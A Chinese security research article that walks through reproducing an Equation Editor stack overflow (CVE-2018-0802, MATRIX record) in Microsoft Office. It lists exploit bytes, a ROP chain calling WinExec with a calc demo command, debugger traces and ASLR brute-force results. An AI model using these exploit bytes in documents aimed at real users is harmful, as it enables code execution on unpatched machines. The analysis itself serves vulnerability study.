手把手教你复现office公式编辑器内的第三个漏洞

阅读量400024

|评论10

|

发布时间 : 2018-01-15 19:16:00

前言

当看到国外的安全公司checkpoint也发了一篇关于CVE-2018-0802的分析文章时,我仔细阅读了一下,然后意识到这个漏洞和国内厂商报的CVE-2018-0802并不是同一个漏洞。很明显,微软又偷懒了,把两个不同的漏洞放在同一个CVE下进行致谢,我决定复现一下他们发现的CVE-2018-0802。在复现的过程中,我一开始照着checkpoint文章的错误提示走歪了,最后发现checkpoint的CVE-2018-0802漏洞其实位于Matrix record(0x05)的解析逻辑内。这是公式编辑器内除了CVE-2017-11882和CVE-2018-0802-font外的第三个能被利用的漏洞。

 

逐步构造exp

我首先在win7 x86+office2007+未开启ASLR的eqnedt32.exe上开始构造样本。

checkpoint的文章里说溢出点位于size record的处理逻辑中,我对着下面的说明文档看了许久,没什么头绪:

http://rtf2latex2e.sourceforge.net/MTEF3.html#SIZE_record

在调试器里面下断点,手里的样本也没一个能走到文章中提到的函数的,于是我决定从零开始构造样本。

checkpoint的文章已经解释得很清楚了:这个漏洞的成因是sub_443e34函数中调用的两个sub_443F6c(图1)会通过获取到的v12,v13的值来拷贝相应长度的数据到栈变量上,而v12,13为用户所控制,拷贝的目的地址v6,v8均为栈上的整型变量,大小只有4个字节,这样一来只要精心控制长度,就可以导致栈溢出。

图1

我们来看一下sub_443f6c函数(图2):

图2

这个函数的基本作用为通过第一个参数的值计算得到一个长度,计算公式为:

calc_length = (arg0 × 2 + 9) >> 3

然后取出后面数据中对应长度的字节数拷贝给传入的第二参数,在处理size时第二参数为父函数传入的一个栈变量。很明显,如果计算出来的calc_length大于4个字节,就会发生栈溢出,而由于v6和v8在栈上非常靠近函数的返回地址,所以只要构造合适的拷贝长度,sub_443e34函数的返回地址就会被覆盖,从而使我们控制执行流(图3)。

图3:红框为v6,蓝框为v8,黑框为ret_addr,可以看到v6和v8之间隔16个字节,v8和ret_addr之间隔16个字节

但是,一开始最大的问题是,我尝试根据格式规范去构造size的数据,无论如何也走不到sub_443e34函数,这个时候只能先借助IDA了。

通过交叉引用我发现sub_443e34函数在一个疑似虚表的地方被引用,且相对表头的偏移为0x20, 看来我需要找一下有哪些地方引用了off_454f30(图4)

图4

可以看到对sub_443e34的引用有6处(图5)

图5

通过排查,我发现了图中高亮的这一行后面调用了偏移为0x20的一个函数,很明显这里会调用sub_443e34函数(图6)

图6

调用点位于sub_43a78f函数,这个函数里面有一个跳转表,当case为4的时候就会获取对应的虚表指针,接着调用偏移为0x20处对应的函数。

于是我接着看了一下对sub_43a78f的交叉引用,一共6处(图7),每一处的函数结构都差不多,应该是在读入数据

图7

引起我注意的是高亮部分的这处引用,调用它的是sub_437c9d(图8)

图8

而sub_437c9d我恰好有印象,因为它在解析MTEF的二级入口函数sub_43755c内被调用(图9):

图9

所以如果尝试构造数据,等下一个可能的执行流将会是下面这样的(图10)(之前CVE-2017-11882/CVE-2018-0802的图里面有个函数的地址一直写错(把42f8ff写成了42ff88),这里更正一下)

图10:注意,这幅图case 4后面的注释是错的,因为此时我的思维还在size上面

所以,接下来要做的事情就是构造合适的size tag数据,使执行流走到上图中金黄色的地方,然后精心计算长度构造栈溢出,控制返回地址,然后再用ROP跳转到对WinExec函数的调用处并传入合适的参数指针。ROP部分的构造因为checkpoint直接给出了,所以最后直接用就行。难点在于让执行流走到溢出点(因为checkpoint文章中的截图并没有给这部分信息)。

由sub_443e34函数可以看到,在读入v12和v13前,还读入了其他3个字节,我们来对照MTEF3的size说明看一下(图11):

图11:注意,最后回过头来发现,这部分彻底走歪了

size的表示大致有3中情况,看着有点头大,既然sub_443e34内一下子读入了5个字节,我就挑选一个占用字节数最多的吧(但总感觉结构对不上,心里还是充满疑惑),于是我选择了最后一个else,于是size tag的数据大致构造如下:


09 // tag

64 // 0n100

01 // lsize

02 // dsize-high-byte

03 // dsize-low-byte

用的方法和初始的ole数据还是我调试CVE-2017-11882时的文件,详情参考《CVE-2017-11882漏洞分析、利用及动态检测》这篇文章。

而且既然checkpoint里面给出了下面这张截图

图12

那么不妨假设dsize的两个字节分别为1c和4c,于是我的初始数据就变成了下面这样

03 01 01 03 0A // MTEF头部

0A

09 // tag

64 // 0n100

22 // lsize

1c // dsize-high-byte

4c // dsize-low-byte

在原模板替换这些数据,上调试器,很不幸地发现进入sub_43755C函数后,并没有走到case 4的地方,于是我决定审视一下tag的解析流程。后面会发现这部分的理解都是错的

图13

上图中v6代表了读入的tag,在这里是0x09,然后将v6传到sub_43A720函数,调用完成后返回一个值给v20,然后根据v20的值在switch语句里面进行选择,显然,这里我想让sub_43a720给我返回一个4,于是需要进一步看一下sub_43a720的逻辑(图14)。

图14

可以看到sub_43a720函数首先传入了代表tag的值a1,获得一个返回值v3,然后计算 (v3 & 0xF0) >> 4的值(这个公式的本质是保留高4位,然后将高4位的值移到低4位上),如果这个值的第4个比特位为1(00001000),则进入sub_43ac22函数,否则进入else语句,并最终返回v3 & 0xF。显然,这里我想让 v3 & 0xF = 4。

所以我需要再看一下sub_43a87a里面的逻辑是什么(图15):

图15

可以看到sub_43a87a的逻辑也很清晰,先取出低4位代表的tag,然后与8作比较,若tag为8,则进入Font tag的处理函数,这个流程一路走下去会触发CVE-2017-11882和CVE-2018-0802-font。如果tag不是8,则判断tag是否小于9,若小于9则直接返回tag,否则先调用sub_43b1d0函数,然后取出数据中的下一个字节,重复前面的逻辑,直到找到一个小于8的tag。

从上面的分析看出当tag为9时,会接着读入下一个字节,sub_43a87a函数的返回值是用户提供的,回到sub_43a720,现在,我只要保证(dsize-low-byte的下一个字节 & 0xF = 4)即可,于是我把下一个字节设为0x44应该就可以进入case 4了。

到现在为止,我的数据构成如下:

03 01 01 03 0A // MTEF头部

0A

09 // tag

64 // 0n100

22 // lsize

1c // dsize-high-byte

4c // dsize-low-byte

44 // 确保进入case 4

和前面一样,先来逆向一下sub_437c9d函数的逻辑(图16):进入case 4后,能否直接到达sub_437c9d的调用处呢,在调试器中发现居然可以,于是进入sub_437c9d。

图16

可以看到sub_437c9d的函数逻辑非常简单,基本上就是:

循环读入下一个字节->如果不为空则调用sub_43a78f进行相应的解析

我们来看一下sub_43a78f的函数逻辑(图17):

图17

可以看到sub_43a78f先是调用sub_43a720函数,然后将其的返回值减去1得到一个case值,最后在一个switch语句中根据case获取相应的虚表地址,最后调用 [地址+0x20] 处的函数进行处理。显然,只要进入case 4,就可以进入checkpoint文章中提到的sub_443e34函数,从而顺利到达cve-2018-0802-size的溢出现场。

本来还要再看一下sub_43a720函数的逻辑,但sub_43a720的逻辑上面刚刚分析过(图14),所以我只要让下一个读入的字节等于5即可(dsize-low-byte的后面第6个字节 & 0xF = 5,调试时发现前面的解析中会读入dsize-low-byte后面的5个字节)。

所以,到目前为止我构造的数据如下:

03 01 01 03 0A // MTEF头部

0A // 初始SIZE

09 // tag

64 // 0n100

22 // lsize

1c // dsize-high-byte

4c // dsize-low-byte

44 // 确保进入case 4

66 // 填充用,随意

77 // 填充用,随意

09 // 填充用,随意

05 // 填充用,随意

AA // 填充用,随意

55 // 确保进入第2个case 4

好了,现在我已经进入sub_443e34函数了,可以看到这个函数在读入v12,v13对应的数值前,还会读入3个字节,所以需要在55后面继续填充3个字节,然后是v12和v13对应的数值,因为checkpoint文章中给的是0x1c,0x4c,所以我直接拿来用了。这样一来,就可以顺利进入sub_443e34函数,实际情况也确实如此。

现在,我构造的数据变成了如下:

03 01 01 03 0A // MTEF头部

0A // 初始SIZE

09 // tag

64 // 0n100

22 // lsize

1c // dsize-high-byte

4c // dsize-low-byte

44 // 确保进入case 4

66 // 填充用,随意

77 // 填充用,随意

09 // 填充用,随意

05 // 填充用,随意

AA // 填充用,随意

55 // 确保进入第2个case 4

10 // sub_443e34内读入的第1个字节

11 // sub_443e34内读入的第2个字节

12 // sub_443e34内读入的第3个字节

1c // 等待计算以决定拷贝大小的长度1

4c // 等待计算以决定拷贝大小的长度2

calc_length = (arg0 × 2 + 9) >> 3文章最开始(图2)我们已经知道拷贝长度的计算公式为:

我们来看一下1c和4c返回的值分别为多少:


-- python --

print hex((2 * 0x1c + 9) >> 3)

0x8



print hex((2 * 0x4c + 9) >> 3)

0x14

现在,把checkpoint截图中的数据全部抄过来后,我构造的数据如下(图18):由前面的图3可以看到checkpoint提供的两个长度,在拷贝完后分别会拷贝8个字节和20个字节,也即第一次调用sub_443F6c会覆盖v6(含)到v8(不含)的0x8个字节,第二次调用sub_443F6c会覆盖vac_C(含)到ret_addr(含)的0x14个字节。从而成功覆盖返回地址,获取控制流。

图18

03 01 01 03 0A // MTEF头部

0A // 初始SIZE

09 // tag

64 // 0n100

22 // lsize

1c // dsize-high-byte

4c // dsize-low-byte

44 // 确保进入case 4

66 // 填充用,随意

77 // 填充用,随意

09 // 填充用,随意

05 // 填充用,随意

AA // 填充用,随意

55 // 确保进入第2个case 4

10 // sub_443e34内读入的第1个字节

11 // sub_443e34内读入的第2个字节

12 // sub_443e34内读入的第3个字节

1c // 等待计算以决定拷贝大小的长度1

4c // 等待计算以决定拷贝大小的长度2

63 6d 64 2e 65 78 65 20 // 第一次拷贝的8个字节

2f 63 63 61 6c 63 00 44 44 44 44 44 ef be ad de ef be ad de // 第二次拷贝的20个字节
0:000> p

eax=001f15f2 ebx=00000006 ecx=7747a24c edx=00000002 esi=0012f7e4 edi=0012f5e0

eip=00443efc esp=0012f480 ebp=deadbeef iopl=0         nv up ei pl nz ac po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212

EqnEdt32!MFEnumFunc+0x156ff:

00443efc c3              ret

0:000> t

eax=001f15f2 ebx=00000006 ecx=7747a24c edx=00000002 esi=0012f7e4 edi=0012f5e0

eip=deadbeef esp=0012f484 ebp=deadbeef iopl=0         nv up ei pl nz ac po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212

deadbeef ??              ???

0:000> db eax

001f15f2  30 4f 45 00 7a 16 1f 00-00 00 00 00 00 00 00 00  0OE.z...........

001f1602  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

001f1612  00 00 00 00 00 00 00 00-96 fe 00 00 44 0b aa 14  ............D...

001f1622  1f 00 63 6d 64 2e 65 78-65 20 2f 63 63 61 6c 63  ..cmd.exe /ccalc

001f1632  00 44 44 44 44 44 e4 14-1f 00 10 01 3a 00 20 5a  .DDDDD......:. Z

001f1642  45 00 7a 16 1f 00 00 00-00 00 00 00 00 00 00 00  E.z.............

001f1652  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

001f1662  00 00 00 00 00 00 00 00-00 00 44 00 00 00 00 00  ..........D.....

同时,与checkpoint的文章中描述的一致, 此时的eax指向命令行参数的前第0x32个字节处。不出所料,此时的eip被覆盖为0xdeadbeef,正如checkpoint文章中所示的那样。

到这里就简单了,我们需要用到rop,checkpoint已经在他们的文章中给出rop的生成方法了,我直接用了他们的,主要意图就是是确保栈溢出后栈上的布局如下:

在没有开启aslr的eqnedt32版本上尝试,此时的base固定为0x400000,用Python脚本生成相应的rop语句。根据溢出长度此时第一次拷贝长度为8,第二次拷贝长度为40个字节,所以之前的控制长度的字节需要从1c 4c调整为1c 9c((2 * 0x9c + 9) >> 3 = 0x28)

现在,在不打11月补丁的版本上,我构造的全部数据如下:

03 01 01 03 0A // MTEF头部

0A // 初始SIZE

09 // tag

64 // 0n100

22 // lsize

1c // dsize-high-byte

4c // dsize-low-byte

44 // 确保进入case 4

66 // 填充用,随意

77 // 填充用,随意

09 // 填充用,随意

05 // 填充用,随意

AA // 填充用,随意

55 // 确保进入第2个case 4

10 // sub_443e34内读入的第1个字节

11 // sub_443e34内读入的第2个字节

12 // sub_443e34内读入的第3个字节

1c // 等待计算以决定拷贝大小的长度1

4c // 等待计算以决定拷贝大小的长度2

63 6d 64 2e 65 78 65 20 // 第一次拷贝的8个字节

2f 63 63 61 6c 63 00 44 44 44 44 44

19 00 00 00 // ebp

3a c7 44 00 // ret_addr: add esp, 4; ret

28 5b 45 00 // a read_write addr

b6 0e 41 00 // add eax, ebp; ret 2

b6 0e 41 00 // add eax, ebp; ret 2

00 00       // pad for adjust stack by 2 bytes

4b ed 40 00 // push eax; call sub_30C00(which call WinExec)

00 00       // pad for align by 4 bytes

将构造好的数据替换原来的数据,调试运行,却发现公式编辑器直接退出了,仔细排查后发现是ret前的sub_437c9d函数中调用sub_43a78f导致的(图19),应该是case语句没有取到合适的值,导致虚函数调用失败,从而导致进程退出。

图19

由于这两个函数我前面都分析过(图8和图17),所以这里直接让下一个字节等于0就行,这样就会直接break,不会继续去解析tag。

最终,在不打11月补丁的版本上,我构造的全部数据如下:

03 01 01 03 0A // MTEF头部

0A // 初始SIZE

09 // tag

64 // 0n100

22 // lsize

1c // dsize-high-byte

4c // dsize-low-byte

44 // 确保进入case 4

66 // 填充用,随意

77 // 填充用,随意

09 // 填充用,随意

05 // 填充用,随意

AA // 填充用,随意

55 // 确保进入第2个case 4

10 // sub_443e34内读入的第1个字节

11 // sub_443e34内读入的第2个字节

12 // sub_443e34内读入的第3个字节

1c // 等待计算以决定拷贝大小的长度1

4c // 等待计算以决定拷贝大小的长度2

63 6d 64 2e 65 78 65 20 // 第一次拷贝的8个字节

2f 63 63 61 6c 63 00 44 44 44 44 44

19 00 00 00 // ebp

3a c7 44 00 // ret_addr: add esp, 4; ret

28 5b 45 00 // a read_write addr

b6 0e 41 00 // add eax, ebp; ret 2

b6 0e 41 00 // add eax, ebp; ret 2

00 00       // pad for adjust stack by 2 bytes

4b ed 40 00 // push eax; call sub_30C00(which call WinExec)

00 00       // pad for align by 4 bytes

00 00 00 00 // 保证执行流顺利到达ret(我这里加了4个00,加1个即可)
0:000> bp 443e34



0:000> g

...

Sat Jan 13 21:14:17.616 2018 (GMT+8): Breakpoint 0 hit

eax=00454f30 ebx=00000006 ecx=0012f4ac edx=00000002 esi=0012f7e4 edi=0012f5e0

eip=00443e34 esp=0012f480 ebp=0012f4b4 iopl=0         nv up ei ng nz ac pe cy

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297

EqnEdt32!MFEnumFunc+0x15637:

00443e34 55              push    ebp

...



0:000> g

Sat Jan 13 21:14:30.970 2018 (GMT+8): Breakpoint 1 hit

eax=002615f2 ebx=00000006 ecx=7747a24c edx=00000002 esi=0012f7e4 edi=0012f5e0

eip=00443efc esp=0012f480 ebp=00000019 iopl=0         nv up ei pl nz ac po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212

EqnEdt32!MFEnumFunc+0x156ff:

00443efc c3              ret

0:000> t

eax=002615f2 ebx=00000006 ecx=7747a24c edx=00000002 esi=0012f7e4 edi=0012f5e0

eip=0044c73a esp=0012f484 ebp=00000019 iopl=0         nv up ei pl nz ac po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212

EqnEdt32!FltToolbarWinProc+0x25d3:

0044c73a 83c404          add     esp,4

0:000> t

eax=002615f2 ebx=00000006 ecx=7747a24c edx=00000002 esi=0012f7e4 edi=0012f5e0

eip=0044c73d esp=0012f488 ebp=00000019 iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206

EqnEdt32!FltToolbarWinProc+0x25d6:

0044c73d c3              ret

0:000> t

eax=002615f2 ebx=00000006 ecx=7747a24c edx=00000002 esi=0012f7e4 edi=0012f5e0

eip=00410eb6 esp=0012f48c ebp=00000019 iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206

EqnEdt32!EqnFrameWinProc+0x23d6:

00410eb6 01e8            add     eax,ebp

0:000> t

eax=0026160b ebx=00000006 ecx=7747a24c edx=00000002 esi=0012f7e4 edi=0012f5e0

eip=00410eb8 esp=0012f48c ebp=00000019 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

EqnEdt32!EqnFrameWinProc+0x23d8:

00410eb8 c20200          ret     2

0:000> t

eax=0026160b ebx=00000006 ecx=7747a24c edx=00000002 esi=0012f7e4 edi=0012f5e0

eip=00410eb6 esp=0012f492 ebp=00000019 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

EqnEdt32!EqnFrameWinProc+0x23d6:

00410eb6 01e8            add     eax,ebp

0:000> t

eax=00261624 ebx=00000006 ecx=7747a24c edx=00000002 esi=0012f7e4 edi=0012f5e0

eip=00410eb8 esp=0012f492 ebp=00000019 iopl=0         nv up ei pl nz ac pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216

EqnEdt32!EqnFrameWinProc+0x23d8:

00410eb8 c20200          ret     2

0:000> t

eax=00261624 ebx=00000006 ecx=7747a24c edx=00000002 esi=0012f7e4 edi=0012f5e0

eip=0040ed4b esp=0012f498 ebp=00000019 iopl=0         nv up ei pl nz ac pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216

EqnEdt32!EqnFrameWinProc+0x26b:

0040ed4b 50              push    eax

0:000> t

eax=00261624 ebx=00000006 ecx=7747a24c edx=00000002 esi=0012f7e4 edi=0012f5e0

eip=0040ed4c esp=0012f494 ebp=00000019 iopl=0         nv up ei pl nz ac pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216

EqnEdt32!EqnFrameWinProc+0x26c:

0040ed4c e8af1e0200      call    EqnEdt32!MFEnumFunc+0x2403 (00430c00)



0:000> t

eax=00261624 ebx=00000006 ecx=7747a24c edx=00000002 esi=0012f7e4 edi=0012f5e0

eip=00430c00 esp=0012f490 ebp=00000019 iopl=0         nv up ei pl nz ac pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216

EqnEdt32!MFEnumFunc+0x2403:

00430c00 55              push    ebp

...

0:000> p

eax=00261624 ebx=00000006 ecx=7747a24c edx=00000002 esi=0012f7e4 edi=0012f5e0

eip=00430c12 esp=0012f378 ebp=0012f48c iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

EqnEdt32!MFEnumFunc+0x2415:

00430c12 ff151c684600    call    dword ptr [EqnEdt32!FltToolbarWinProc+0x1c6b5 (0046681c)] ds:0023:0046681c={kernel32!WinExec (774bedae)}

0:000> db eax

00261624  63 6d 64 2e 65 78 65 20-2f 63 63 61 6c 63 00 44  cmd.exe /ccalc.D

00261634  44 44 44 44 e4 14 26 00-10 08 3a 00 20 5a 45 00  DDDD..&...:. ZE.

00261644  7a 16 26 00 00 00 00 00-00 00 00 00 00 00 00 00  z.&.............

00261654  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

00261664  00 00 00 00 00 00 00 00-44 00 00 00 00 00 00 00  ........D.......

00261674  00 00 00 00 3a 00 68 4f-45 00 ee 16 26 00 00 00  ....:.hOE...&...

00261684  00 00 00 00 00 00 00 00-00 00 00 00 00 00 90 00  ................

00261694  00 00 80 01 00 00 00 00-00 00 00 00 00 00 00 00  ................



0:000> p

Sat Jan 13 21:15:03.106 2018 (GMT+8): ModLoad: 753f0000 7543c000   C:\Windows\system32\apphelp.dll

eax=00000021 ebx=00000006 ecx=0012f2d8 edx=775a70f4 esi=0012f7e4 edi=0012f5e0

eip=00430c18 esp=0012f380 ebp=0012f48c iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

EqnEdt32!MFEnumFunc+0x241b:

00430c18 83f820          cmp     eax,20h

计算器成功弹出(图20):

图20

 

对暴力破解ASLR的探索

在11月的补丁上,由于eqnedt32.exe开启了ASLR,所以需要想一个办法Bypass ASLR。checkpoint的文章中用了内嵌256个ole的方式来Bypass ASLR(这个思路我第一次看到是在Haifei Li 2016年Bluehat演讲的一篇paper上《lihaifei-Analysis_of_the_Attack_Surface_of_Microsoft_Office_from_User_Perspective》 49页)。

我仔细审视了一下这种方法,我也在(windows7+office2007/office2010)和(windows10+office2016)(全部为x86),3个环境上试了一下这种方法,这里简单提一下我观察到的现象。

在win7上,eqnedt32.exe基址的随机化大致在(0x0001000-0x02000000)之间,可以很容易算出可能性为512种,所以256个ole显然是必要但是不充分的。

可以看到win7下的基址变化幅度比较大(图21):

图21

在win10上,eqnedt32.exe很多时候会落在(0x01000000-0x02000000)之间(但是也有小于0x01000000的情况),而且总是很接近0x01000000,此时基址的可能性大概为256种。

win7和win10上eqnedt32在几十次加载中有大部分情况加载地址都是同一个。win7下通过内嵌ole连续加载几十次eqnedt32.exe基址变化示例(图22):

图22

实际运行发现,每次打开office,256个ole里面实际被加载的在40-60个左右(目前并不清楚为什么),也就是说,如果前40-60个ole不能暴力破解ASLR,整个利用就会失效。

但还是有成功的可能性,win7上10次里面大概会有2次成功(加载基址恰好是接近0x10000的小地址),win10上如果从0x01000000开始暴力破解的话,成功的可能性也比较高,但是也不是100%。

所以我觉得checkpoint的文章中关于这段的叙述是有问题的(checkpoint的256应该是指win10, 但即使是win10也不止256种)。

附上一张打了11月的补丁后在office2010上成功暴力破解ASLR的截图(图23):

图23

 

审视前面的构造过程

前面的构造过程看似没什么问题,但是整个过程真的是对的吗?还记得上面遇到的那些疑问吗吗?现在来审视一下:

“我对着下面的说明文档看了许久,没什么头绪”

“ 一开始最大的问题是,我尝试根据格式规范去构造size的数据,无论如何也走不到sub_443e34函数”

“但总感觉结构对不上,心里还是充满疑惑”

后面的整个构造过程虽然我是以SIZE record为入口构造出来的,但问题部分的数据真的位于SIZE吗?

正当这些疑问盘旋在我脑海时,我读到了一篇文章:http://ith4cker.com/content/uploadfile/201801/bd671515949243.pdf

这篇文章的意思简而言之就是:在公式编辑器里面存在一个不同于CVE-2017-11882和CVE-2018-0804的漏洞,并且这个漏洞是在解析MATRIX record时触发的。有趣了,难道这又是第4个漏洞?!

仔细阅读文章后,我发现这篇文章的分析思路和我的构造过程基本一致。很明显,我在构造过程中通过逆向无意间构造出了一个MATRIX record,图24红框中的这个0x55,由于sub_43a720函数在解析时只会获取低4字节(& 0x0F),所以等价于0x05,我们来看一下0x05是什么(图25)

图24

图25

显然,0x05代表了MATRIX record。所以我上面从SIZE record入手,通过逆向调试奔着sub_443e34函数而去,试错的过程中无意间构造出一个MATRIX record,并在不清楚这是一个MATRIX record的情况下一步一步构造出了exp。

过程和结果没错,但入口点错了,错的原因是因为checkpoint的文章里面说这个漏洞是SIZE record导致的。

 

修正后的数据结构和逻辑

漏洞在文件格式上的根本原因找到后,我可以更理智地来看一下数据结构了。现在让我重新审视一下构造的数据,对照上面MATRIX record的结构说明,之前的数据在现在看来是图26这样的。虽然和格式规范仍然存在一个字节的缺失(可以看到按照格式规范,rows字段之前需要读入4个字节,不过粗看注释貌似nudge字段可选),但已经基本能对上了。看来这第三个漏洞的根本原因是:在解析MATRIX record时,对rows于cols字段没有进行正确的长度校验,导致可以构造恶意数据,在拷贝时造成栈溢出。

图26

从错误的道路上回来后,再来检查一下之前的case 4例程到底是什么?现在很容易就写出如下注释(图27),很明显sub_43a78f是对tag的一个派发函数:

图27

通过之前的分析,已经知道对sub_43a78f的交叉引用有5处(图7),所以,理论上所有调用sub_43a78f的函数(sub_437c9d)及它们上级函数,只要传入合适的MATRIX数据,全都可以触发CVE-2018-0802-Matrix漏洞。在sub_43755c函数中,有两处对sub_437c9d函数的调用。其中一处位于case 4内(对应 tag 4 PILE record)(参见图9),另一处位于case 1内(对应tag 1 LINE record)(图28)。

图28

所以,触发本次matrix漏洞的其中两个比较精简的poc可以构造为如下(图29)(分别以line record作为切入点pile record作为入口点,后面紧随触发漏洞的Matrix record数据)。

图29

最后,总结一下到目前为止公式编辑器内3个漏洞的分布情况(图30)(CVE-2018-0802-matrix的触发流应该还有其他情况,下图只画出两种):

图30

 

总结

这个matrix record解析栈溢出一直存在在公式编辑器中,无论是打11月补丁前还是打11月补丁后都可以成功触发,在不需要Bypass ASLR的时候,使用起来还是很稳定的。在ASLR存在的情况下,如果靠内嵌多个ole暴力破解ASLR,并不是一种稳定的利用方法,这一点不如CVE-2018-0802-font漏洞。当然,如果可以结合这个Matrix溢出和CVE-2018-0802-font用到的2字节bypass ASLR的方法,或许会有新的思路出现,我并没有对此做深入研究。

本文仅用于漏洞交流,请勿用于非法用途。

参考链接

https://www.anquanke.com/post/id/87311

https://www.anquanke.com/post/id/94210

http://rtf2latex2e.sourceforge.net/MTEF3.html

http://ith4cker.com/content/uploadfile/201801/bd671515949243.pdf

https://research.checkpoint.com/another-office-equation-rce-vulnerability

https://sites.google.com/site/zerodayresearch/Analysis_of_the_Attack_Surface_of_Microsoft_Office_from_User_Perspective_final.pdf

本文由银雁冰原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/94841

安全客 - 有思想的安全新媒体

分享到:微信
+10赞
收藏
银雁冰
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66